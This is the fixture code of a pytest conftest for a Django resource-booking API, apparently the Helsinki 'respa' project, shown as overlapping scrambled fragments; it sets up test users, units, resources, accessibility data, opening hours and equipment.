unit_manager_user(resource_in_unit): user = get_user_model().objects.create( username='test_manager_user', first_name='Inspector', last_name='Lestrade', email='<EMAIL>', is_staff=True,", "resource_group2(resource_in_unit2): group = ResourceGroup.objects.create( identifier='test_group_2', name='Test resource group 2' )", "not \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit3, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) ResourceAccessibility.objects.create( resource=resource_in_unit3, viewpoint=accessibility_viewpoint_hearing,", "{\"id\": \"10\", \"name_en\": \"I am a wheelchair user\", \"order_text\": 10}", "django.contrib.auth.models import Group from rest_framework.test import APIClient, APIRequestFactory from resources.enums", "accessibility_value_green, accessibility_value_red): \"\"\" Resource is accessible, unit is not \"\"\"", "resource_equipment(resource_in_unit, equipment): data = {'test_key': 'test_value'} resource_equipment = ResourceEquipment.objects.create( equipment=equipment,", "UnitAccessibility.objects.create( unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green )", "terms of use', reservation_confirmed_notification_extra_en='this resource rocks' ) @pytest.mark.django_db @pytest.fixture def", "end='2115-01-12', resource=resource_with_opening_hours, name='exceptional hours', exceptional=True, parent=parent) date = period.start Day.objects.create(period=period,", "def user_api_client(user): api_client = APIClient() api_client.force_authenticate(user=user) return api_client @pytest.fixture(params=[None, 'user',", "= date + datetime.timedelta(days=1) Day.objects.create(period=period, weekday=date.weekday(), opens='12:00', closes='13:00') date =", "user(): return get_user_model().objects.create( username='test_user', first_name='Cem', last_name='Kaner', email='<EMAIL>', preferred_language='en' ) @pytest.mark.django_db", "category' ) @pytest.mark.django_db @pytest.fixture def equipment(equipment_category): equipment = Equipment.objects.create(name='test equipment',", ") user.unit_authorizations.create(subject=resource_in_unit.unit, level=UnitAuthorizationLevel.manager) return user @pytest.mark.django_db @pytest.fixture def general_admin(): return", "preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def group(): return Group.objects.create(name='test group') @pytest.mark.django_db", "Purpose.objects.create(name='test purpose', id='test-purpose') @pytest.fixture def resource_group(resource_in_unit): group = ResourceGroup.objects.create( identifier='test_group',", "ResourceAccessibility.objects.create( resource=resource_in_unit3, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit3.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red )", "time_zone='Europe/Helsinki') @pytest.fixture def test_unit3(): return Unit.objects.create(name=\"unit 3\", time_zone='Europe/Helsinki') @pytest.fixture def", "return Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource in unit 3\", unit=test_unit3, max_reservations_per_user=2,", "\"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit3, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) ResourceAccessibility.objects.create( resource=resource_in_unit3, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green", "def space_resource_type(): return ResourceType.objects.get_or_create(id=\"test_space\", name=\"test_space\", main_type=\"space\")[0] @pytest.mark.django_db @pytest.fixture def space_resource(space_resource_type):", ") ResourceAccessibility.objects.create( resource=resource_in_unit3, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit3.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red", "return get_user_model().objects.create( username='test_user2', first_name='Brendan', last_name='Neutra', email='<EMAIL>' ) @pytest.mark.django_db @pytest.fixture def", "viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red ) UnitAccessibility.objects.create( unit=resource_in_unit3.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_red ) return resource_in_unit3", "def test_unit3(): return Unit.objects.create(name=\"unit 3\", time_zone='Europe/Helsinki') @pytest.fixture def terms_of_use(): return", "group = ResourceGroup.objects.create( identifier='test_group', name='Test resource group' ) group.resources.set([resource_in_unit]) return", "return Group.objects.create(name='test group') @pytest.mark.django_db @pytest.fixture def purpose(): return Purpose.objects.create(name='test purpose',", "email='<EMAIL>', is_staff=True, preferred_language='en' ) user.unit_authorizations.create(subject=resource_in_unit.unit, level=UnitAuthorizationLevel.manager) return user @pytest.mark.django_db @pytest.fixture", "end=datetime.date(2115, 12, 31), resource=resource_in_unit, name='regular hours') for weekday in range(0,", "test_municipality(): municipality = Municipality.objects.create( id='foo', name='Foo' ) return municipality @pytest.fixture", "request.param: api_client.force_authenticate(request.getfixturevalue(request.param)) return api_client @pytest.fixture def api_rf(): return APIRequestFactory() @pytest.mark.django_db", "return AccessibilityViewpoint.objects.create(**vp) @pytest.fixture def accessibility_viewpoint_hearing(): vp = {\"id\": \"20\", \"name_en\":", "ResourceAccessibility.objects.create( resource=resource_in_unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_red ) UnitAccessibility.objects.create( unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green )", "utf-8 -*- import pytest import datetime from django.contrib.auth import get_user_model", "Day.objects.create(period=period, weekday=date.weekday(), closed=True) date = date + datetime.timedelta(days=1) Day.objects.create(period=period, weekday=date.weekday(),", "def staff_api_client(staff_user): api_client = APIClient() api_client.force_authenticate(user=staff_user) return api_client @pytest.fixture def", "return Unit.objects.create(name=\"unit\", time_zone='Europe/Helsinki') @pytest.fixture def test_unit2(): return Unit.objects.create(name=\"unit 2\", time_zone='Europe/Helsinki')", "id='foo', name='Foo' ) return municipality @pytest.fixture def accessibility_viewpoint_wheelchair(): vp =", "@pytest.fixture def user(): return get_user_model().objects.create( username='test_user', first_name='Cem', last_name='Kaner', email='<EMAIL>', preferred_language='en'", "@pytest.mark.django_db @pytest.fixture def user2(): return get_user_model().objects.create( username='test_user2', first_name='Brendan', last_name='Neutra', email='<EMAIL>'", "group') @pytest.mark.django_db @pytest.fixture def purpose(): return Purpose.objects.create(name='test purpose', id='test-purpose') @pytest.fixture", "opens='12:00', closes='13:00') date = date + datetime.timedelta(days=1) Day.objects.create(period=period, weekday=date.weekday(), closed=True)", "group @pytest.fixture def test_municipality(): municipality = Municipality.objects.create( id='foo', name='Foo' )", "accessibility_value_green(): return AccessibilityValue.objects.create(value='green', order=10) @pytest.fixture def accessibility_value_red(): return AccessibilityValue.objects.create(value='red', order=-10)", "viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) return resource_in_unit2 @pytest.fixture def resource_with_accessibility_data3(resource_in_unit3, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing,", "import Resource, ResourceType, Unit, Purpose, Day, Period from resources.models import", "is wheelchair accessible, not hearing accessible, unit is accessible to", "return api_client @pytest.fixture(params=[None, 'user', 'staff_user']) def all_user_types_api_client(request): api_client = APIClient()", "UnitAuthorizationLevel from resources.models import Resource, ResourceType, Unit, Purpose, Day, Period", "email='<EMAIL>', is_staff=True, preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def unit_manager_user(resource_in_unit): user =", "def resource_with_accessibility_data3(resource_in_unit3, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\" Resource is accessible,", ") UnitAccessibility.objects.create( unit=resource_in_unit3.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red ) UnitAccessibility.objects.create( unit=resource_in_unit3.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_red", "ResourceEquipment.objects.create( equipment=equipment, resource=resource_in_unit, data=data, description='test resource equipment', ) return resource_equipment", "'test_value'} resource_equipment = ResourceEquipment.objects.create( equipment=equipment, resource=resource_in_unit, data=data, description='test resource equipment',", "equipment category' ) @pytest.mark.django_db @pytest.fixture def equipment(equipment_category): equipment = Equipment.objects.create(name='test", "on kielletty', text_en='everything is forbidden', ) @pytest.mark.django_db @pytest.fixture def resource_in_unit(space_resource_type,", "Municipality @pytest.fixture def api_client(): return APIClient() @pytest.fixture def staff_api_client(staff_user): api_client", "is_general_admin=True, preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def group(): return Group.objects.create(name='test group')", "return Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource in unit\", unit=test_unit, max_reservations_per_user=1, max_period=datetime.timedelta(hours=2),", "general_admin(): return get_user_model().objects.create( username='test_general_admin', first_name='Genie', last_name='Manager', email='<EMAIL>', is_staff=True, is_general_admin=True, preferred_language='en'", "ResourceAccessibility, UnitAccessibility from munigeo.models import Municipality @pytest.fixture def api_client(): return", "return municipality @pytest.fixture def accessibility_viewpoint_wheelchair(): vp = {\"id\": \"10\", \"name_en\":", "from resources.models import Equipment, EquipmentAlias, ResourceEquipment, EquipmentCategory, TermsOfUse, ResourceGroup from", "return AccessibilityValue.objects.create(value='green', order=10) @pytest.fixture def accessibility_value_red(): return AccessibilityValue.objects.create(value='red', order=-10) @pytest.fixture", "equipment): data = {'test_key': 'test_value'} resource_equipment = ResourceEquipment.objects.create( equipment=equipment, resource=resource_in_unit,", "max_period=datetime.timedelta(hours=4), reservable=True, ) @pytest.mark.django_db @pytest.fixture def resource_with_opening_hours(resource_in_unit): p1 = Period.objects.create(start=datetime.date(2115,", "@pytest.fixture def general_admin(): return get_user_model().objects.create( username='test_general_admin', first_name='Genie', last_name='Manager', email='<EMAIL>', is_staff=True,", "hearing accessible, not wheelchair accessible, unit is accessible to both", "@pytest.fixture def resource_in_unit(space_resource_type, test_unit, terms_of_use): return Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource", "\"\"\" Resource is wheelchair accessible, not hearing accessible, unit is", "username='test_staff_user', first_name='John', last_name='Staff', email='<EMAIL>', is_staff=True, preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def", "user_api_client(user): api_client = APIClient() api_client.force_authenticate(user=user) return api_client @pytest.fixture(params=[None, 'user', 'staff_user'])", "kielletty', text_en='everything is forbidden', ) @pytest.mark.django_db @pytest.fixture def resource_in_unit(space_resource_type, test_unit,", "max_reservations_per_user=1, max_period=datetime.timedelta(hours=2), reservable=True, generic_terms=terms_of_use, specific_terms_fi='spesifiset käyttöehdot', specific_terms_en='specific terms of use',", "7): Day.objects.create(period=p1, weekday=weekday, opens=datetime.time(8, 0), closes=datetime.time(18, 0)) resource_in_unit.update_opening_hours() return resource_in_unit", "import Municipality @pytest.fixture def api_client(): return APIClient() @pytest.fixture def staff_api_client(staff_user):", "api_client = APIClient() if request.param: api_client.force_authenticate(request.getfixturevalue(request.param)) return api_client @pytest.fixture def", "parent=parent) date = period.start Day.objects.create(period=period, weekday=date.weekday(), closed=True) date = date", "api_client.force_authenticate(user=user) return api_client @pytest.fixture(params=[None, 'user', 'staff_user']) def all_user_types_api_client(request): api_client =", "authentication=\"none\", name=\"resource\") @pytest.mark.django_db @pytest.fixture def test_unit(): return Unit.objects.create(name=\"unit\", time_zone='Europe/Helsinki') @pytest.fixture", "value=accessibility_value_green ) ResourceAccessibility.objects.create( resource=resource_in_unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_red ) UnitAccessibility.objects.create( unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_wheelchair,", "wheelchair accessible, unit is accessible to both \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit2,", "@pytest.mark.django_db @pytest.fixture def exceptional_period(resource_with_opening_hours): parent = resource_with_opening_hours.periods.first() period = Period.objects.create(start='2115-01-10',", "name=\"resource in unit 2\", unit=test_unit2, max_reservations_per_user=2, max_period=datetime.timedelta(hours=4), reservable=True, ) @pytest.mark.django_db", "vp = {\"id\": \"20\", \"name_en\": \"I am hearing impaired\", \"order_text\":", "@pytest.fixture def resource_group2(resource_in_unit2): group = ResourceGroup.objects.create( identifier='test_group_2', name='Test resource group", "group 2' ) group.resources.set([resource_in_unit2]) return group @pytest.fixture def test_municipality(): municipality", "accessibility_value_green, accessibility_value_red): \"\"\" Resource is wheelchair accessible, not hearing accessible,", "equipment = Equipment.objects.create(name='test equipment', category=equipment_category) return equipment @pytest.mark.django_db @pytest.fixture def", "accessibility_value_red): \"\"\" Resource is hearing accessible, not wheelchair accessible, unit", "AccessibilityValue, AccessibilityViewpoint, ResourceAccessibility, UnitAccessibility from munigeo.models import Municipality @pytest.fixture def", "weekday=date.weekday(), closed=True) date = date + datetime.timedelta(days=1) Day.objects.create(period=period, weekday=date.weekday(), opens='12:00',", "@pytest.fixture def space_resource_type(): return ResourceType.objects.get_or_create(id=\"test_space\", name=\"test_space\", main_type=\"space\")[0] @pytest.mark.django_db @pytest.fixture def", "generic_terms=terms_of_use, specific_terms_fi='spesifiset käyttöehdot', specific_terms_en='specific terms of use', reservation_confirmed_notification_extra_en='this resource rocks'", "def resource_in_unit3(space_resource_type, test_unit3): return Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource in unit", "use', reservation_confirmed_notification_extra_en='this resource rocks' ) @pytest.mark.django_db @pytest.fixture def resource_in_unit2(space_resource_type, test_unit2):", "value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) return resource_in_unit @pytest.fixture", "text_en='everything is forbidden', ) @pytest.mark.django_db @pytest.fixture def resource_in_unit(space_resource_type, test_unit, terms_of_use):", ") group.resources.set([resource_in_unit]) return group @pytest.fixture def resource_group2(resource_in_unit2): group = ResourceGroup.objects.create(", "closed=True) return period @pytest.mark.django_db @pytest.fixture def equipment_category(): return EquipmentCategory.objects.create( name='test", "@pytest.fixture def resource_group(resource_in_unit): group = ResourceGroup.objects.create( identifier='test_group', name='Test resource group'", "group' ) group.resources.set([resource_in_unit]) return group @pytest.fixture def resource_group2(resource_in_unit2): group =", "unit\", unit=test_unit, max_reservations_per_user=1, max_period=datetime.timedelta(hours=2), reservable=True, generic_terms=terms_of_use, specific_terms_fi='spesifiset käyttöehdot', specific_terms_en='specific terms", "exceptional_period(resource_with_opening_hours): parent = resource_with_opening_hours.periods.first() period = Period.objects.create(start='2115-01-10', end='2115-01-12', resource=resource_with_opening_hours, name='exceptional", "user.unit_authorizations.create(subject=resource_in_unit.unit, level=UnitAuthorizationLevel.manager) return user @pytest.mark.django_db @pytest.fixture def general_admin(): return get_user_model().objects.create(", "accessibility_value_red(): return AccessibilityValue.objects.create(value='red', order=-10) @pytest.fixture def resource_with_accessibility_data(resource_in_unit, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green,", "equipment_category(): return EquipmentCategory.objects.create( name='test equipment category' ) @pytest.mark.django_db @pytest.fixture def", "def space_resource(space_resource_type): return Resource.objects.create(type=space_resource_type, authentication=\"none\", name=\"resource\") @pytest.mark.django_db @pytest.fixture def test_unit():", "date + datetime.timedelta(days=1) Day.objects.create(period=period, weekday=date.weekday(), opens='12:00', closes='13:00') date = date", "resource=resource_with_opening_hours, name='exceptional hours', exceptional=True, parent=parent) date = period.start Day.objects.create(period=period, weekday=date.weekday(),", "def accessibility_value_green(): return AccessibilityValue.objects.create(value='green', order=10) @pytest.fixture def accessibility_value_red(): return AccessibilityValue.objects.create(value='red',", "get_user_model from django.contrib.auth.models import Group from rest_framework.test import APIClient, APIRequestFactory", "equipment @pytest.mark.django_db @pytest.fixture def equipment_alias(equipment): equipment_alias = EquipmentAlias.objects.create(name='test equipment alias',", "def resource_group2(resource_in_unit2): group = ResourceGroup.objects.create( identifier='test_group_2', name='Test resource group 2'", "from django.contrib.auth.models import Group from rest_framework.test import APIClient, APIRequestFactory from", "return get_user_model().objects.create( username='test_general_admin', first_name='Genie', last_name='Manager', email='<EMAIL>', is_staff=True, is_general_admin=True, preferred_language='en' )", "TermsOfUse, ResourceGroup from resources.models import AccessibilityValue, AccessibilityViewpoint, ResourceAccessibility, UnitAccessibility from", "api_client = APIClient() api_client.force_authenticate(user=staff_user) return api_client @pytest.fixture def user_api_client(user): api_client", "in range(0, 7): Day.objects.create(period=p1, weekday=weekday, opens=datetime.time(8, 0), closes=datetime.time(18, 0)) resource_in_unit.update_opening_hours()", "@pytest.fixture def resource_equipment(resource_in_unit, equipment): data = {'test_key': 'test_value'} resource_equipment =", "group.resources.set([resource_in_unit]) return group @pytest.fixture def resource_group2(resource_in_unit2): group = ResourceGroup.objects.create( identifier='test_group_2',", "= ResourceEquipment.objects.create( equipment=equipment, resource=resource_in_unit, data=data, description='test resource equipment', ) return", "ResourceType.objects.get_or_create(id=\"test_space\", name=\"test_space\", main_type=\"space\")[0] @pytest.mark.django_db @pytest.fixture def space_resource(space_resource_type): return Resource.objects.create(type=space_resource_type, authentication=\"none\",", "viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) return resource_in_unit", "resources.models import Resource, ResourceType, Unit, Purpose, Day, Period from resources.models", "@pytest.mark.django_db @pytest.fixture def space_resource(space_resource_type): return Resource.objects.create(type=space_resource_type, authentication=\"none\", name=\"resource\") @pytest.mark.django_db @pytest.fixture", ") @pytest.mark.django_db @pytest.fixture def user2(): return get_user_model().objects.create( username='test_user2', first_name='Brendan', last_name='Neutra',", "@pytest.mark.django_db @pytest.fixture def space_resource_type(): return ResourceType.objects.get_or_create(id=\"test_space\", name=\"test_space\", main_type=\"space\")[0] @pytest.mark.django_db @pytest.fixture", "def resource_with_accessibility_data2(resource_in_unit2, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\" Resource is hearing", "viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) return resource_in_unit @pytest.fixture def resource_with_accessibility_data2(resource_in_unit2, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing,", "@pytest.fixture def accessibility_value_green(): return AccessibilityValue.objects.create(value='green', order=10) @pytest.fixture def accessibility_value_red(): return", "ResourceAccessibility.objects.create( resource=resource_in_unit3, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) ResourceAccessibility.objects.create( resource=resource_in_unit3, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green )", "data = {'test_key': 'test_value'} resource_equipment = ResourceEquipment.objects.create( equipment=equipment, resource=resource_in_unit, data=data,", "rocks' ) @pytest.mark.django_db @pytest.fixture def resource_in_unit2(space_resource_type, test_unit2): return Resource.objects.create( type=space_resource_type,", "resource=resource_in_unit3, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) ResourceAccessibility.objects.create( resource=resource_in_unit3, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) UnitAccessibility.objects.create(", "is accessible to both \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green )", "@pytest.mark.django_db @pytest.fixture def resource_in_unit(space_resource_type, test_unit, terms_of_use): return Resource.objects.create( type=space_resource_type, authentication=\"none\",", "name='regular hours') for weekday in range(0, 7): Day.objects.create(period=p1, weekday=weekday, opens=datetime.time(8,", "@pytest.fixture def resource_in_unit3(space_resource_type, test_unit3): return Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource in", "email='<EMAIL>', is_staff=True, is_general_admin=True, preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def group(): return", "def user2(): return get_user_model().objects.create( username='test_user2', first_name='Brendan', last_name='Neutra', email='<EMAIL>' ) @pytest.mark.django_db", "username='test_user', first_name='Cem', last_name='Kaner', email='<EMAIL>', preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def user2():", "= APIClient() if request.param: api_client.force_authenticate(request.getfixturevalue(request.param)) return api_client @pytest.fixture def api_rf():", "Period.objects.create(start=datetime.date(2115, 1, 1), end=datetime.date(2115, 12, 31), resource=resource_in_unit, name='regular hours') for", "equipment=equipment, resource=resource_in_unit, data=data, description='test resource equipment', ) return resource_equipment @pytest.mark.django_db", "ResourceEquipment, EquipmentCategory, TermsOfUse, ResourceGroup from resources.models import AccessibilityValue, AccessibilityViewpoint, ResourceAccessibility,", "equipment_alias @pytest.mark.django_db @pytest.fixture def resource_equipment(resource_in_unit, equipment): data = {'test_key': 'test_value'}", "exceptional=True, parent=parent) date = period.start Day.objects.create(period=period, weekday=date.weekday(), closed=True) date =", "resource=resource_in_unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_red ) UnitAccessibility.objects.create( unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) UnitAccessibility.objects.create(", "from resources.models import Resource, ResourceType, Unit, Purpose, Day, Period from", "resource=resource_in_unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) ResourceAccessibility.objects.create( resource=resource_in_unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_red ) UnitAccessibility.objects.create(", "= ResourceGroup.objects.create( identifier='test_group', name='Test resource group' ) group.resources.set([resource_in_unit]) return group", "@pytest.mark.django_db @pytest.fixture def equipment_alias(equipment): equipment_alias = EquipmentAlias.objects.create(name='test equipment alias', language='fi',", "@pytest.fixture def equipment(equipment_category): equipment = Equipment.objects.create(name='test equipment', category=equipment_category) return equipment", "staff_api_client(staff_user): api_client = APIClient() api_client.force_authenticate(user=staff_user) return api_client @pytest.fixture def user_api_client(user):", "to both \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit2, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red ) ResourceAccessibility.objects.create( resource=resource_in_unit2,", "weekday=date.weekday(), opens='12:00', closes='13:00') date = date + datetime.timedelta(days=1) Day.objects.create(period=period, weekday=date.weekday(),", "user = get_user_model().objects.create( username='test_manager_user', first_name='Inspector', last_name='Lestrade', email='<EMAIL>', is_staff=True, preferred_language='en' )", "email='<EMAIL>' ) @pytest.mark.django_db @pytest.fixture def staff_user(): return get_user_model().objects.create( username='test_staff_user', first_name='John',", ") ResourceAccessibility.objects.create( resource=resource_in_unit2, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green", "return period @pytest.mark.django_db @pytest.fixture def equipment_category(): return EquipmentCategory.objects.create( name='test equipment", "purpose(): return Purpose.objects.create(name='test purpose', id='test-purpose') @pytest.fixture def resource_group(resource_in_unit): group =", "3\", unit=test_unit3, max_reservations_per_user=2, max_period=datetime.timedelta(hours=4), reservable=True, ) @pytest.mark.django_db @pytest.fixture def resource_with_opening_hours(resource_in_unit):", "\"I am hearing impaired\", \"order_text\": 20} return AccessibilityViewpoint.objects.create(**vp) @pytest.fixture def", "accessible to both \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) ResourceAccessibility.objects.create(", "= get_user_model().objects.create( username='test_manager_user', first_name='Inspector', last_name='Lestrade', email='<EMAIL>', is_staff=True, preferred_language='en' ) user.unit_authorizations.create(subject=resource_in_unit.unit,", "order=-10) @pytest.fixture def resource_with_accessibility_data(resource_in_unit, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\" Resource", "max_period=datetime.timedelta(hours=4), reservable=True, ) @pytest.mark.django_db @pytest.fixture def resource_in_unit3(space_resource_type, test_unit3): return Resource.objects.create(", "p1 = Period.objects.create(start=datetime.date(2115, 1, 1), end=datetime.date(2115, 12, 31), resource=resource_in_unit, name='regular", "purpose', id='test-purpose') @pytest.fixture def resource_group(resource_in_unit): group = ResourceGroup.objects.create( identifier='test_group', name='Test", "12, 31), resource=resource_in_unit, name='regular hours') for weekday in range(0, 7):", "group.resources.set([resource_in_unit2]) return group @pytest.fixture def test_municipality(): municipality = Municipality.objects.create( id='foo',", "data=data, description='test resource equipment', ) return resource_equipment @pytest.mark.django_db @pytest.fixture def", "viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) ResourceAccessibility.objects.create( resource=resource_in_unit3, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit3.unit,", "get_user_model().objects.create( username='test_general_admin', first_name='Genie', last_name='Manager', email='<EMAIL>', is_staff=True, is_general_admin=True, preferred_language='en' ) @pytest.mark.django_db", "@pytest.fixture def api_rf(): return APIRequestFactory() @pytest.mark.django_db @pytest.fixture def space_resource_type(): return", "user\", \"order_text\": 10} return AccessibilityViewpoint.objects.create(**vp) @pytest.fixture def accessibility_viewpoint_hearing(): vp =", "UnitAccessibility.objects.create( unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) return resource_in_unit @pytest.fixture def resource_with_accessibility_data2(resource_in_unit2,", "@pytest.mark.django_db @pytest.fixture def resource_in_unit2(space_resource_type, test_unit2): return Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource", "alias', language='fi', equipment=equipment) return equipment_alias @pytest.mark.django_db @pytest.fixture def resource_equipment(resource_in_unit, equipment):", "= EquipmentAlias.objects.create(name='test equipment alias', language='fi', equipment=equipment) return equipment_alias @pytest.mark.django_db @pytest.fixture", "@pytest.fixture def equipment_category(): return EquipmentCategory.objects.create( name='test equipment category' ) @pytest.mark.django_db", "coding: utf-8 -*- import pytest import datetime from django.contrib.auth import", "resource_group(resource_in_unit): group = ResourceGroup.objects.create( identifier='test_group', name='Test resource group' ) group.resources.set([resource_in_unit])", "weekday=weekday, opens=datetime.time(8, 0), closes=datetime.time(18, 0)) resource_in_unit.update_opening_hours() return resource_in_unit @pytest.mark.django_db @pytest.fixture", "@pytest.fixture def resource_with_accessibility_data2(resource_in_unit2, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\" Resource is", "def resource_with_accessibility_data(resource_in_unit, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\" Resource is wheelchair", "if request.param: api_client.force_authenticate(request.getfixturevalue(request.param)) return api_client @pytest.fixture def api_rf(): return APIRequestFactory()", "Group.objects.create(name='test group') @pytest.mark.django_db @pytest.fixture def purpose(): return Purpose.objects.create(name='test purpose', id='test-purpose')", "@pytest.fixture def resource_with_accessibility_data(resource_in_unit, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\" Resource is", "resource_in_unit @pytest.mark.django_db @pytest.fixture def exceptional_period(resource_with_opening_hours): parent = resource_with_opening_hours.periods.first() period =", "= Equipment.objects.create(name='test equipment', category=equipment_category) return equipment @pytest.mark.django_db @pytest.fixture def equipment_alias(equipment):", "def test_municipality(): municipality = Municipality.objects.create( id='foo', name='Foo' ) return municipality", "unit 2\", unit=test_unit2, max_reservations_per_user=2, max_period=datetime.timedelta(hours=4), reservable=True, ) @pytest.mark.django_db @pytest.fixture def", "def resource_with_opening_hours(resource_in_unit): p1 = Period.objects.create(start=datetime.date(2115, 1, 1), end=datetime.date(2115, 12, 31),", "'user', 'staff_user']) def all_user_types_api_client(request): api_client = APIClient() if request.param: api_client.force_authenticate(request.getfixturevalue(request.param))", ") UnitAccessibility.objects.create( unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green", "accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\" Resource is accessible, unit is", "def all_user_types_api_client(request): api_client = APIClient() if request.param: api_client.force_authenticate(request.getfixturevalue(request.param)) return api_client", "import datetime from django.contrib.auth import get_user_model from django.contrib.auth.models import Group", "import UnitAuthorizationLevel from resources.models import Resource, ResourceType, Unit, Purpose, Day,", "type=space_resource_type, authentication=\"none\", name=\"resource in unit\", unit=test_unit, max_reservations_per_user=1, max_period=datetime.timedelta(hours=2), reservable=True, generic_terms=terms_of_use,", "31), resource=resource_in_unit, name='regular hours') for weekday in range(0, 7): Day.objects.create(period=p1,", "def resource_group(resource_in_unit): group = ResourceGroup.objects.create( identifier='test_group', name='Test resource group' )", "rest_framework.test import APIClient, APIRequestFactory from resources.enums import UnitAuthorizationLevel from resources.models", "\"I am a wheelchair user\", \"order_text\": 10} return AccessibilityViewpoint.objects.create(**vp) @pytest.fixture", "Group from rest_framework.test import APIClient, APIRequestFactory from resources.enums import UnitAuthorizationLevel", "type=space_resource_type, authentication=\"none\", name=\"resource in unit 3\", unit=test_unit3, max_reservations_per_user=2, max_period=datetime.timedelta(hours=4), reservable=True,", "import Equipment, EquipmentAlias, ResourceEquipment, EquipmentCategory, TermsOfUse, ResourceGroup from resources.models import", "ResourceAccessibility.objects.create( resource=resource_in_unit2, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green )", "Day, Period from resources.models import Equipment, EquipmentAlias, ResourceEquipment, EquipmentCategory, TermsOfUse,", "APIClient() api_client.force_authenticate(user=user) return api_client @pytest.fixture(params=[None, 'user', 'staff_user']) def all_user_types_api_client(request): api_client", "def accessibility_viewpoint_hearing(): vp = {\"id\": \"20\", \"name_en\": \"I am hearing", "space_resource(space_resource_type): return Resource.objects.create(type=space_resource_type, authentication=\"none\", name=\"resource\") @pytest.mark.django_db @pytest.fixture def test_unit(): return", "closes='13:00') date = date + datetime.timedelta(days=1) Day.objects.create(period=period, weekday=date.weekday(), closed=True) return", "Unit.objects.create(name=\"unit 3\", time_zone='Europe/Helsinki') @pytest.fixture def terms_of_use(): return TermsOfUse.objects.create( 